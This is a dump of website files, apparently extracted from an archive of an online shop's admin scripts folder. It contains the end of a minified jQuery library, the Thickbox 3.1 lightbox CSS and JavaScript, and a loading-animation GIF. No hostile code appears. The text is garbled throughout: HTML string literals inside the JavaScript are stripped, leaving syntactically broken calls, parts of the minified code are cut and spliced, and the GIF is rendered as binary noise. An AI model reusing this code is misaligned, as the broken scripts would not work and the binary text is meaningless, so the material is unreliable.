i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a, "border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f= a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b= a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=//gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!== "string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("
").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this}, serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "), function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href, global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&& e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)? "&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache=== false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B= false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since", c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E|| d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x); g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status=== 1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b=== "json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional; if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration=== "number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]|| c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start; this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now= this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem, e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b
"; a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b); c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a, d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top- f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset": "pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window); cheapuggsales.uk.com/admin_frad/js/thickbox/0000777000000000000000000000000011633550314020102 5ustar rootrootcheapuggsales.uk.com/admin_frad/js/thickbox/thickbox.css0000777000000000000000000000765411633550314022446 0ustar rootroot/* ----------------------------------------------------------------------------------------------------------------*/ /* ---------->>> global settings needed for thickbox <<<-----------------------------------------------------------*/ /* ----------------------------------------------------------------------------------------------------------------*/ *{padding: 0; margin: 0;} /* ----------------------------------------------------------------------------------------------------------------*/ /* ---------->>> thickbox specific link and font settings <<<------------------------------------------------------*/ /* ----------------------------------------------------------------------------------------------------------------*/ #TB_window { font: 12px Arial, Helvetica, sans-serif; color: #333333; } #TB_secondLine { font: 10px Arial, Helvetica, sans-serif; color:#666666; } #TB_window a:link {color: #666666;} #TB_window a:visited {color: #666666;} #TB_window a:hover {color: #000;} #TB_window a:active {color: #666666;} #TB_window a:focus{color: #666666;} /* ----------------------------------------------------------------------------------------------------------------*/ /* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/ /* ----------------------------------------------------------------------------------------------------------------*/ #TB_overlay { position: fixed; z-index:100; top: 0px; left: 0px; height:100%; width:100%; } .TB_overlayMacFFBGHack {background: url(macFFBgHack.png) repeat;} .TB_overlayBG { background-color:#000; filter:alpha(opacity=75); -moz-opacity: 0.75; opacity: 0.75; } * html #TB_overlay { /* ie6 hack */ position: absolute; height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px'); } #TB_window { position: fixed; background: #ffffff; z-index: 102; color:#000000; display:none; border: 4px solid #525252; text-align:left; top:50%; left:50%; } * html #TB_window { /* ie6 hack */ position: absolute; margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px'); } #TB_window img#TB_Image { display:block; margin: 15px 0 0 15px; border-right: 1px solid #ccc; border-bottom: 1px solid #ccc; border-top: 1px solid #666; border-left: 1px solid #666; } #TB_caption{ height:25px; padding:7px 30px 10px 25px; float:left; } #TB_closeWindow{ height:25px; padding:11px 25px 10px 0; float:right; } #TB_closeAjaxWindow{ padding:7px 10px 5px 0; margin-bottom:1px; text-align:right; float:right; } #TB_ajaxWindowTitle{ float:left; padding:7px 0 5px 10px; margin-bottom:1px; } #TB_title{ background-color:#e8e8e8; height:27px; } #TB_ajaxContent{ clear:both; padding:2px 15px 15px 15px; overflow:auto; text-align:left; line-height:1.4em; } #TB_ajaxContent.TB_modal{ padding:15px; } #TB_ajaxContent p{ padding:5px 0px 5px 0px; } #TB_load{ position: fixed; display:none; height:13px; width:208px; z-index:103; top: 50%; left: 50%; margin: -6px 0 0 -104px; /* -height/2 0 0 -width/2 */ } * html #TB_load { /* ie6 hack */ position: absolute; margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px'); } #TB_HideSelect{ z-index:99; position:fixed; top: 0; left: 0; background-color:#fff; border:none; filter:alpha(opacity=0); -moz-opacity: 0; opacity: 0; height:100%; width:100%; } * html #TB_HideSelect { /* ie6 hack */ position: absolute; height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px'); } #TB_iframeContent{ clear:both; border:none; margin-bottom:-1px; margin-top:1px; _margin-bottom:1px; } cheapuggsales.uk.com/admin_frad/js/thickbox/thickbox.js0000777000000000000000000002655511633550314022273 0ustar rootroot/* * Thickbox 3.1 - One Box To Rule Them All. * By Cody Lindley (http://www.codylindley.com) * Copyright (c) 2007 cody lindley * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php */ var tb_pathToImage = "images/loadingAnimation.gif"; /*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/ //on page load call tb_init $(document).ready(function(){ tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox imgLoader = new Image();// preload image imgLoader.src = tb_pathToImage; }); //add thickbox to href & area elements that have a class of .thickbox function tb_init(domChunk){ $(domChunk).click(function(){ var t = this.title || this.name || null; var a = this.href || this.alt; var g = this.rel || false; tb_show(t,a,g); this.blur(); return false; }); } function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link try { if (typeof document.body.style.maxHeight === "undefined") {//if IE 6 $("body","html").css({height: "100%", width: "100%"}); $("html").css("overflow","hidden"); if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6 $("body").append("
"); $("#TB_overlay").click(tb_remove); } }else{//all others if(document.getElementById("TB_overlay") === null){ $("body").append("
"); $("#TB_overlay").click(tb_remove); } } if(tb_detectMacXFF()){ $("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash }else{ $("#TB_overlay").addClass("TB_overlayBG");//use background and opacity } if(caption===null){caption="";} $("body").append("
");//add loader to the page $('#TB_load').show();//show loader var baseURL; if(url.indexOf("?")!==-1){ //ff there is a query string involved baseURL = url.substr(0, url.indexOf("?")); }else{ baseURL = url; } var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/; var urlType = baseURL.toLowerCase().match(urlString); if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images TB_PrevCaption = ""; TB_PrevURL = ""; TB_PrevHTML = ""; TB_NextCaption = ""; TB_NextURL = ""; TB_NextHTML = ""; TB_imageCount = ""; TB_FoundURL = false; if(imageGroup){ TB_TempArray = $("a[@rel="+imageGroup+"]").get(); for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) { var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString); if (!(TB_TempArray[TB_Counter].href == url)) { if (TB_FoundURL) { TB_NextCaption = TB_TempArray[TB_Counter].title; TB_NextURL = TB_TempArray[TB_Counter].href; TB_NextHTML = "  Next >"; } else { TB_PrevCaption = TB_TempArray[TB_Counter].title; TB_PrevURL = TB_TempArray[TB_Counter].href; TB_PrevHTML = "  < Prev"; } } else { TB_FoundURL = true; TB_imageCount = "Image " + (TB_Counter + 1) +" of "+ (TB_TempArray.length); } } } imgPreloader = new Image(); imgPreloader.onload = function(){ imgPreloader.onload = null; // Resizing large images - orginal by Christian Montoya edited by me. var pagesize = tb_getPageSize(); var x = pagesize[0] - 150; var y = pagesize[1] - 150; var imageWidth = imgPreloader.width; var imageHeight = imgPreloader.height; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; } } else if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; } } // End Resizing TB_WIDTH = imageWidth + 30; TB_HEIGHT = imageHeight + 60; $("#TB_window").append(""+caption+"" + "
"+caption+"
" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "
close or Esc Key
"); $("#TB_closeWindowButton").click(tb_remove); if (!(TB_PrevHTML === "")) { function goPrev(){ if($(document).unbind("click",goPrev)){$(document).unbind("click",goPrev);} $("#TB_window").remove(); $("body").append("
"); tb_show(TB_PrevCaption, TB_PrevURL, imageGroup); return false; } $("#TB_prev").click(goPrev); } if (!(TB_NextHTML === "")) { function goNext(){ $("#TB_window").remove(); $("body").append("
"); tb_show(TB_NextCaption, TB_NextURL, imageGroup); return false; } $("#TB_next").click(goNext); } document.onkeydown = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } else if(keycode == 190){ // display previous image if(!(TB_NextHTML == "")){ document.onkeydown = ""; goNext(); } } else if(keycode == 188){ // display next image if(!(TB_PrevHTML == "")){ document.onkeydown = ""; goPrev(); } } }; tb_position(); $("#TB_load").remove(); $("#TB_ImageOff").click(tb_remove); $("#TB_window").css({display:"block"}); //for safari using css instead of show }; imgPreloader.src = url; }else{//code to show html var queryString = url.replace(/^[^\?]+\??/,''); var params = tb_parseQuery( queryString ); TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no paramaters were added to URL TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no paramaters were added to URL ajaxContentW = TB_WIDTH - 30; ajaxContentH = TB_HEIGHT - 45; if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window urlNoQuery = url.split('TB_'); $("#TB_iframeContent").remove(); if(params['modal'] != "true"){//iframe no modal $("#TB_window").append("
"+caption+"
close or Esc Key
"); }else{//iframe modal $("#TB_overlay").unbind(); $("#TB_window").append(""); } }else{// not an iframe, ajax if($("#TB_window").css("display") != "block"){ if(params['modal'] != "true"){//ajax no modal $("#TB_window").append("
"+caption+"
close or Esc Key
"); }else{//ajax modal $("#TB_overlay").unbind(); $("#TB_window").append("
"); } }else{//this means the window is already up, we are just loading new content via ajax $("#TB_ajaxContent")[0].style.width = ajaxContentW +"px"; $("#TB_ajaxContent")[0].style.height = ajaxContentH +"px"; $("#TB_ajaxContent")[0].scrollTop = 0; $("#TB_ajaxWindowTitle").html(caption); } } $("#TB_closeWindowButton").click(tb_remove); if(url.indexOf('TB_inline') != -1){ $("#TB_ajaxContent").append($('#' + params['inlineId']).children()); $("#TB_window").unload(function () { $('#' + params['inlineId']).append( $("#TB_ajaxContent").children() ); // move elements back when you're finished }); tb_position(); $("#TB_load").remove(); $("#TB_window").css({display:"block"}); }else if(url.indexOf('TB_iframe') != -1){ tb_position(); if($.browser.safari){//safari needs help because it will not fire iframe onload $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } }else{ $("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method tb_position(); $("#TB_load").remove(); tb_init("#TB_ajaxContent a.thickbox"); $("#TB_window").css({display:"block"}); }); } } if(!params['modal']){ document.onkeyup = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } }; } } catch(e) { //nothing here } } //helper functions below function tb_showIframe(){ $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } function tb_remove() { $("#TB_imageOff").unbind("click"); $("#TB_closeWindowButton").unbind("click"); $("#TB_window").fadeOut("fast",function(){$('#TB_window,#TB_overlay,#TB_HideSelect').trigger("unload").unbind().remove();}); $("#TB_load").remove(); if (typeof document.body.style.maxHeight == "undefined") {//if IE 6 $("body","html").css({height: "auto", width: "auto"}); $("html").css("overflow",""); } document.onkeydown = ""; document.onkeyup = ""; return false; } function tb_position() { $("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'}); if ( !(jQuery.browser.msie && jQuery.browser.version < 7)) { // take away IE6 $("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'}); } } function tb_parseQuery ( query ) { var Params = {}; if ( ! query ) {return Params;}// return empty object var Pairs = query.split(/[;&]/); for ( var i = 0; i < Pairs.length; i++ ) { var KeyVal = Pairs[i].split('='); if ( ! KeyVal || KeyVal.length != 2 ) {continue;} var key = unescape( KeyVal[0] ); var val = unescape( KeyVal[1] ); val = val.replace(/\+/g, ' '); Params[key] = val; } return Params; } function tb_getPageSize(){ var de = document.documentElement; var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth; var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight; arrayPageSize = [w,h]; return arrayPageSize; } function tb_detectMacXFF() { var userAgent = navigator.userAgent.toLowerCase(); if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) { return true; } } cheapuggsales.uk.com/admin_frad/js/thickbox/loadingAnimation.gif0000777000000000000000000001337611633550314024063 0ustar rootrootGIF89a ! NETSCAPE2.0! ,  @Rihlp,tm#6N+rrD4h@FCjz]Lj]﹬R3-H$wPy |KI\K Q\]PI ~$ ~ J %:`@ XP@AO 2|(D**HE}lF=$Ƌ@\9L J()? ``C=4RO@>}5TDU^=UQH~Xe֫:|AoG4Q]V;ޙ  jUzҧ]$jQM ʆķ7721@ܒDH;܋%ЅqۛXMgNάgMWz!`dѥ]uja}a ݸ6;5լDzTh,5~z~@y[:3M7gG]q=@c5 4u흃5__9_AMtB\K ⵘ}" @lDiQu+baq&{#'LHjz"$& $B! ,  EI@*PR*;ò[Ll7DҎ%GI0)mIԲ`I}>ă}-RwFu}y|O(p*"rt{RA>( ^( "4 333..Чɞ v.*o 3u zz( D.z Ha рP*6=%8A%ϤH]JQ&2Lz녆Aɔ>50j( ]T.s *I@m:nTx^7}v(Hy!8/ 4^ֹGi`zA"?l8]'STҧX*3@XMS<@蜮-./Ay5|Uv۬ϰVr4<A:\4bmdvi{˿ӛW'7naq{"8V_u_^2_[koTpbp :M skx_"Vؓ! ,  %R4 yԬԢ\K٩l'#QZ0ՠVTyïe]U4f!Pc0zkW+_ ^ў`v"Ŋa@x:@O,ȬtK5zsRtH5y3ʥ>yz=3[/Z|&x @7nGdn B^|{ZCN3Z&$p{f;^C}Co %! ,  %$5,%:k.]#> B"ZRp]2Shk9E-e<ͩkGj6-twsz|mOQtix41 ) U"  BQ B)# B+u  )ێ #" pg߿=QǍPa Q*֑Xb<88l$Q,? y2=0յT#rΗ5 9`jLmgTJ2MWy6jukիKy0iP0JCg&(`oq]혗']u}C*  ^\sxaGtKpeÈa@jvlgVDz$ͣQ>mb16}4 @l`ѪzvsGt 2y֐/V+SNJ=^"+Y  09ڛ>0}Lj`abqO '8^Xd|5 [ahWY7֑W6!i!qHX&(@3&B! ,  Q$@RS" k; S]3X'+ζS tUik `m0c]wldt$v}k~zq,lryux?)B ; 00;+ ­G 0-g+ .z%$z +l(jx9hNt<; 8O7yxH#|bH$ѼLipȅѐ 2"-A(P$tj@{s(W$( =!u5(jmn wmĸoA@w/d1+:'l1f#|,z20Hg@1}թٯ[3S+|7Uǃ.{ P卵0ʶc=+PL03:~p'v{On<~)@uP6 k (àK'vK V`I9(ZLG!! ,  PeRN*',Ԣv*o<bKs M3k>oR sAE1fm):kvvM{wl rtqPm|uF~?W a3& 